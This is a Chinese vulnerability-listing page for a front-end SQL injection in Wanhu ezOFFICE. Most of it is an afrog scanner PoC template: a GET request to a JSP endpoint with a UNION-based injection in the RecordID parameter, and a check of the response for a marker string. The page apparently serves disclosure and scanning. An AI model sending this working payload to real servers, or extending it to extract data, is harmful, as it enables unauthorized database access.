wanhu-oa-ezoffice-sql-inject: 万户 ezoffice 前台sql注入

日期: 2025-09-01 | 影响软件: wanhu-oa-ezoffice | POC: 已公开

漏洞描述

app="万户网络-ezOFFICE"

PoC代码[已公开]

id: wanhu-oa-ezoffice-sql-inject

info:
  name: 万户 ezoffice 前台sql注入
  author: jijue
  severity: high
  verified: true
  description: |
    app="万户网络-ezOFFICE"
  
rules:
  r0:
    request:
      method: GET
      path: /defaultroot/public/iWebOfficeSign/Template/SendFileCheckTemplateEdit.jsp;xc?RecordID=1%27%20UNION%20ALL%20SELECT%20NULL,CHR(113)||CHR(120)||CHR(98)||CHR(120)||CHR(113)||CHR(77)||CHR(88)||CHR(81)||CHR(102)||CHR(83)||CHR(76)||CHR(115)||CHR(74)||CHR(101)||CHR(116)||CHR(114)||CHR(84)||CHR(119)||CHR(120)||CHR(68)||CHR(117)||CHR(118)||CHR(68)||CHR(68)||CHR(74)||CHR(88)||CHR(108)||CHR(107)||CHR(112)||CHR(76)||CHR(84)||CHR(110)||CHR(77)||CHR(116)||CHR(72)||CHR(66)||CHR(107)||CHR(86)||CHR(107)||CHR(121)||CHR(88)||CHR(72)||CHR(107)||CHR(113)||CHR(72)||CHR(113)||CHR(98)||CHR(120)||CHR(113)||CHR(113),NULL,NULL,NULL,NULL%20FROM%20DUAL--%20oefB%20---
    expression: response.status == 200 && response.body.bcontains(b'qxbxqMXQfSLsJetrTwxDuvDDJXlkpLTnMtHBkVkyXHkqHqbxqq')
expression: r0()
来源: https://github.com/zan8in/afrog/blob/main/pocs/afrog-pocs/vulnerability/wanhu-oa-ezoffice-sql-inject.yaml

相关漏洞推荐